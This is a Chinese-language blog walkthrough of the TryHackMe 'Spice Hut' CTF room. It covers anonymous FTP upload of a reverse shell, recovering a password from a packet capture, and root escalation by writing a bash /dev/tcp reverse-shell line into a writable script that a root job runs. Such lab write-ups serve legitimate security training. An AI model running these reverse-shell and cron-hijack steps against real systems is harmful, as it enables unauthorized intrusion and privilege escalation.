首页 > 其他分享 >tryhackme-Spice Hut(香料小屋)

tryhackme-Spice Hut(香料小屋)

时间:2024-03-06 20:35:21浏览次数:23  
标签:文件 权限 planner Spice Hut sh txt root tryhackme

信息收集

通过开放端口可以发现21端口和80端口可以进行下手,首先对21端口进行匿名用户访问测试登录成功

important.jpgnotice.txt文件下载,ftp目录并没有文件,但是通过权限的观察可以进行写入(也就是上传文件),后续可能用到

通过查看notice.txt得到一些管理员的信息,大概意思是不知道谁上传了一个文件,很可笑,透漏了一个用户名为Maya

通过分析important.jpg并没有得到有用的信息

接着访问80端口看一看有没有什么新的消息

主页是招聘网络安全人员的信息,没有太大的用处,直接进行目录扫描

gobuster dir -u http://10.10.218.215/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,zip,rar,js -t 66

初始访问权限

通过扫描得到一个files目录,访问查看

发现和ftp匿名登录的目录一样,这里我们可以使用ftp上传反弹shell文件
上传成功

使用浏览器访问获得shell

在根目录发现recipe.txt,得到辣汤的秘方love(爱)

权限提升

有一个奇怪的目录incidents,进入查看有一个suspicious.pcapng数据包文件,将suspicious.pcapng复制到/var/www/html/files/ftp目录,然后下载

一般情况下需要使用wireshark分析,但是我并不太熟练使用,不过我通过strings工具的分析,得到了用户的密码c4ntg3t3n0ughsp1c3

应该是lennie用户的密码,使用ssh远程连接得到user.txt

获取root权限

发现scripts目录,进入查看发现planner.shstartup_list.txt文件

有意思是的,通过上图发现startup_list.txt文件的最后更改时间是刚刚

接着查看planner.sh文件发现执行了/etc/print.sh文件

分析这两个文件的权限

发现planner.sh文件的所有者是root,我们拥有/etc/print.sh文件的修改权限

这里就有了一个思路,我们可以借用planner.sh文件的root权限调用/etc/print.sh文件执行我们想要的反弹shell代码,然后获得root权限,这里只是猜测,因为startup_list.txt文件是由planner.sh文件生成,并且最后一次修改时间是当前最近的时间,猜测可能有后台进程。

这里只需要在/etc/print.sh加入/bin/bash -i >& /dev/tcp/10.14.74.4/8888 0>&1即可,实际操作如下:

加入后,等待一分钟,获得root权限

标签:文件,权限,planner,Spice,Hut,sh,txt,root,tryhackme
From: https://www.cnblogs.com/Junglezt/p/18057472

相关文章

  • tryhackme-Mr Robot CTF(机器人先生)
    信息收集根据开放端口,首先对80端口进行信息收集默认在访问80端口的时候会进行一段很炫酷的grup引导,Linux启动的信息,不过没什么用,一个伪终端,这里给了我们几个命令可以使用:试了几个,没有太多有用的信息,感兴趣可以自己试一试,这里直接进行目录扫描gobusterdir-uhttp://10.10.......
  • OS模块和shutil模块的对文件操作
    OS模块的对文件操作os新建和删除importosimportshutilmknod#创建文件#实现在Linux系统可以windows系统不可以os.mknod("1.txt")#remove#删除文件os.remove("集合2.png")mkdir#创建目录os.mkdir("ceshi111")rmdir#删除目录os.rmdir("ceshi111")renam......
  • hutool导出CSV文件
    hutool导出CSV文件参考代码:@PostMapping("/export")publicResponseEntity<FileSystemResource>export()throwsIOException{//写到临时目录,如果临时目录满了系统会自动清除。FiledistFile=newFile(System.getProperty("java.io.tmpdir"),"test.csv"......
  • tryhackme- Agent Sudo(须藤特工)
    首先对目标进行端口扫描首先对80进行测试,访问得到下方提示意思就是告诉我们,需要更改user-agent才可以访问想要的数据那么这里的user-agent是什么呢?CTF考验的就是脑洞,一些细节,一开始我以为加粗字体codename就是user-agent,经过尝试是不行的,经过一些尝试,看到发送人的agent为R,......
  • tryhackme-Cyborg
    根据题目的描述,这是一个一个涉及加密档案、源代码分析等的盒子靶机。启动靶机都进行信息收集信息收集使用nmap进行端口扫描扫描到靶机开放两个端口22和80端口注:由于国内网络扫描会出现很慢的问题,根据我后续的扫描结果,该题目确实只有这两个端口开放,实际中要对端口采用更详......
  • Python使用shutil模块操作文件/文件夹
    Python的标准库中os模块已经可以操作文件了,但是具有很多局限性(比如不能复制文件),因此Python的另一个标准库shutil对文件/文件夹的移动,复制,删除文件夹,压缩,解压等操作做了增强,更加方便用户进行使用。 1、复制文件/文件夹(shutil.copy(src,dst))1.1复制文件复制文件常......
  • LTspice 修改波形图与电路图配色
    前言LTspice的默认颜色设置看起来比较偏暗,且不太适合截图使用,如下所示:本文介绍通过修改默认颜色设置来实现电路图颜色和BSch3V,波形图和gnuplot的配色相似。LTspice的颜色设置可以通过[Tools]->[ColorPreferences]来进行。波形图配色设置波形显示的颜色设置通过上图Col......
  • Hutool一些字符常量
    字符串常量Hutool定义了一些字符常量,可以灵活使用。部分常量如下所示:一些常量StrUtil.DOT点StrUtil.DOUBLE_DOT双点StrUtil.UNDERLINE下划线StrUtil.EMPTY横杠StrUtil.BACKSLASH反斜杠StrUtil.DASHED破折StrUtil.BRACKET_END右中扩号StrUtil.BRACKET_START......
  • Hutool - 简化Java编程的法宝,让工作更高效
    一、在项目的pom.xml的dependencies中加入以下内容:<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.0.7</version></dependency>非Maven项目的话就自己百度下载一下jar包,导入即可。二、StrUtil看这里名字也应该明白了,......
  • hutool工具类常用API整理
    0、官网学习地址https://www.hutool.cn/1、依赖<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>${hutool.version}</version></dependency>2、工具集2.1、convert此工具用于于各种类型数......